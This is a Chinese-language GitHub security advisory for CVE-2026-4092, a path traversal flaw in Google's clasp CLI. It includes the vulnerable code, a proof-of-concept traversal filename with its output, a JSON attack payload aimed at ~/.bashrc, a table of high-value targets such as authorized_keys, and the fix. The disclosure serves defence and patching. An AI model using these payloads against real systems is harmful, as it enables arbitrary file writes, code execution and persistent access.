g0w6y/CVE-2026-4092
GitHub: g0w6y/CVE-2026-4092
详细记录 CVE-2026-4092 路径遍历漏洞的成因、PoC 攻击链及修复方案的安全研究报告。
Stars: 0 | Forks: 0
# CVE-2026-4092 — @google/clasp 中的路径遍历漏洞
**由 [g0w6y](https://github.com/g0w6y) 发现并报告**
## 概述
| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-4092 |
| GHSA | GHSA-hqjg-pww4-pcgq |
| 软件包 | @google/clasp (npm) |
| 受影响版本 | < 3.2.0 |
| 修复版本 | 3.2.0 |
| 严重程度 | 高 — CVSS v4: 8.7 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-22:对路径名到受限目录的不当限制 |
| NVD 发布日期 | 2026年3月13日 |
| 修复合并日期 | 2026年1月31日 — PR #1109 |
| 修复提交 | ba6bd66 |
## 描述
`@google/clasp` 是一个由 Google 维护的开源 CLI 工具,用于在本地管理 Google Apps Script 项目。在执行 `clone` 和 `pull` 操作时,该工具从 Google Apps Script API 获取文件元数据,并将文件写入本地文件系统。
`src/core/files.ts` 中的 `fetchRemote` 方法在构建本地文件路径时,直接使用了 API 响应中的 `f.name` 字段,而没有验证解析后的路径是否仍位于预期的项目目录内。由于 `path.resolve()` 会原生评估 `../` 序列,控制 Google Apps Script 项目的攻击者可以构造包含目录遍历序列的文件名(例如 `../../../../.bashrc`),导致该工具将攻击者控制的内容写入受害者文件系统的任意位置,且拥有运行 clasp 用户的完整权限。
## 漏洞代码
**路径构建 — `src/core/files.ts`:**
```
// f.name is taken directly from the remote API — never validated
const localPath = path.relative(
process.cwd(),
path.resolve(contentDir, `${f.name}${ext}`) // traversal evaluated here
);
```
**写入点 — `src/core/files.ts`:**
```
// file.localPath contains the unsanitized traversed path
await fs.writeFile(file.localPath, file.source);
```
**确认缺乏边界验证:**
```
$ grep "startsWith" src/core/files.ts
SECURITY ALERT: No boundary validation (startsWith) found in files.ts
```
## 概念验证 (PoC)
该 PoC 直接调用 clasp 生产源代码中易受攻击的 `Files` 类,并向其提供模拟恶意 GAS API 响应的精心构造的 payload。实际的 `fs.writeFile()` 接收点会执行,并在项目根目录之外写入一个真实文件。
```
import path from "path";
import { Files } from "./src/core/files.js";
const mockFiles = [
{
name: "../../poc", // traversal payload
type: "SERVER_JS",
source: "console.log('pwned');",
},
];
const contentDir = path.resolve("./project");
const files = new Files({ /* minimal options */ });
// real fs.writeFile() executes with the traversed path
```
**结果:**
```
--- REAL CODE POC RESULT ---
[!] SUCCESS: The Files class wrote outside the project root.
[!] File created at: /Users/g0w6y/poc.js
$ ls -l ../../poc.js
-rw-r--r-- 1 g0w6y staff 23 14 Mar 17:36 ../../poc.js
```
文件 `poc.js` 被写入项目根目录之上两层的位置,确认完全遍历出了预期的 `contentDir`。
## 攻击场景
1. 攻击者创建或控制一个 Google Apps Script 项目
2. 在 API 响应中构造带有遍历文件名的文件条目:
```
{
"files": [
{
"name": "../../../../.bashrc",
"type": "SERVER_JS",
"source": "malicious payload"
}
]
}
```
3. 诱导受害者运行:
```
clasp clone
# 或
clasp pull
```
4. 攻击者控制的内容被写入目标文件,且没有任何警告。
**高影响目标:**
| 目标 | 影响 |
|---|---|
| `~/.bashrc` / `~/.zshrc` | 下次打开 shell 时实现 RCE |
| `~/.bash_profile` | 下次登录时实现 RCE |
| `~/.ssh/authorized_keys` | 永久 SSH 访问权限 |
| CI 构建脚本 | 供应链入侵 |
## 修复
在 `src/core/files.ts` 中添加了一个 `isInside()` 辅助函数,该函数使用 `path.relative()` 来断言严格的子代包含关系 —— 正确处理了遍历序列和绝对路径注入,且避免了普通 `startsWith()` 检查的前缀冲突边缘情况。
```
function isInside(parentPath: string, childPath: string): boolean {
const relative = path.relative(parentPath, childPath);
return (
relative !== "" &&
!relative.startsWith("..") &&
!path.isAbsolute(relative)
);
}
// In fetchRemote:
const absoluteContentDir = path.resolve(contentDir);
const resolvedPath = path.resolve(contentDir, `${f.name}${ext}`);
if (!isInside(absoluteContentDir, resolvedPath)) {
throw new Error(
`Security Error: Remote file name "${f.name}" attempts to write outside the project directory.`
);
}
const localPath = path.relative(process.cwd(), resolvedPath);
```
## 参考
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-4092
- GitHub Advisory: https://github.com/advisories/GHSA-hqjg-pww4-pcgq
- 修复 PR: https://github.com/google/clasp/pull/1109
- 修复提交: https://github.com/google/clasp/commit/ba6bd666fe74de54950122b5d92ecf1dcc02a9d3
- 发布版本: https://github.com/google/clasp/releases/tag/v3.2.0
## 贡献者
由 **[g0w6y](https://github.com/g0w6y)** 发现并报告
在 [GHSA-hqjg-pww4-pcgq](https://github.com/advisories/GHSA-hqjg-pww4-pcgq) 中被列为报告人,这对我的 GitHub 账户仓库突出显示该 CVE 是否完美?
标签:CVE-2026-4092, CVSS 8.7, CWE-22, DNS 反向解析, DNS 解析, GNU通用公共许可证, Google Apps Script, @google/clasp, MITM代理, Node.js, NPM包, OSV-Scalibr, 任意文件写入, 安全漏洞, 文件系统攻击, 暗色界面, 目录穿越, 路径遍历, 输入验证缺失